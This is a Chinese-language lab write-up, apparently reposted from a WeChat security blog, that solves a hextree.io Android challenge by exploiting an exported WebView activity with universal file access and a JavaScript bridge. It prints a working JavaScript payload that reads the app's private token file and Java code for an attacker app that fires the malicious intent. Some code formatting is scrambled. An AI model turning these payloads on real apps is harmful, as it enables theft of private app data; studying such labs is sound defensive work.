你有没有想过能够从 Android 应用程序中窃取内部文件,例如文件或其他敏感数据?在本文中,我将通过解决 hextree.io 中的实验问题来向您介绍如何完成此作。.db
初步分析
首先,我在 Android Studio 仿真器上安装目标应用程序,并使用 JADX 对其进行反编译以分析其文件。我很快注意到一个标记为AndroidManifest.xml
exported="true"
为了进一步调查,我检查了该活动的 onCreate() 方法。
分解 onCreate() 方法
- 应用程序使用 检索额外的字符串值 ()。
URL
getIntent()
- 如果值为 ,则默认为 loading 。
null
https://www.hextree.io
-
然后,它使用以下内容配置 WebView 设置:
settings.setJavaScriptEnabled(true); settings.setAllowFileAccessFromFileURLs(true); settings.setAllowFileAccess(true); settings.setAllowUniversalAccessFromFileURLs(true);
这些设置非常危险,尤其是:
setAllowUniversalAccessFromFileURLs(true)
,它允许 WebView 从多个来源加载文件,包括 、 和 ....等https://
content://
file://
-
这可能使攻击者能够通过恶意 HTML 页面读取本地文件,或获得 RCE。
4. 应用程序生成一个随机 UUID 并将其写入名为 的文件中。token.txt
5. 它注册一个名为 的 JavaScript 接口,将其映射到一个类。"hextree"
JsObject
6. 最后,它加载提供的 .URL
检查 JavaScript 接口
该类包含一个函数,该函数:JsObject
authCallback()
-
接受令牌作为参数。 - 读取文件并比较其值。
token.txt
- 如果令牌匹配,则触发方法 (这是我们的目标) 。
success()
-
否则,它不执行任何作。
精心开发漏洞
由于该应用程序允许通用文件访问并提供 JavaScript 接口,因此我们可以通过加载带有恶意 JavaScript 负载的外部 URL 来利用它。
1. JavaScript 有效负载
以下脚本将从函数中窃取令牌并将其传递给函数:token.txt
authCallback()
<script> onload = () => { let x = new XMLHttpRequest(); x.onload = () => hextree.authCallback(x.responseText.trim()); x.open("GET", "file:///data/data/io.hextree.attacksurface/files/token.txt"); x.send(); }; </script>
解释:
- 脚本在页面加载 ( event) 时执行。
onload
- 它发出 XHR 请求以检索 的内容。
token.txt
- 加载后,它会剪裁响应并将其发送到 ,从而触发成功条件。
authCallback()
将此有效负载保存在应用程序的内部存储中:file:///data/data/io.hextree.attacksurface/files/exploit.htmlexploit.html
2. 部署攻击
要启动漏洞利用,我们需要创建一个攻击应用程序,该应用程序向易受攻击的 WebView 活动发送意图,指示它加载我们的恶意 HTML 文件。
漏洞利用应用程序代码:
@Override protectedvoidonCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intentintent=newIntent(); intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.webviews.Flag40WebViewsActivity"); StringexploitUrl="file:///data/data/io.hextree.attacksurface/files/exploit.html"; intent.putExtra("URL", exploitUrl); startActivity(intent); }
这个怎么运作:
-
该应用程序通过指定易受攻击的 WebView 活动包和类名称来定位易受攻击的 WebView 活动。 - 它设置为我们的恶意 HTML 负载的路径。
exploitUrl
- 它将此 URL 作为额外的字符串 () 传递,并启动 Activity。
URL
一旦漏洞利用应用程序启动,易受攻击的 WebView 就会加载我们的有效负载,读取 ,并成功触发 ,授予我们访问该标志的权限。token.txt
authCallback()
这表明 Android 应用程序中存在严重的 WebView 漏洞,展示了如何利用不安全的设置来窃取内部文件。
原文始发于微信公众号(安全狗的自我修养):利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论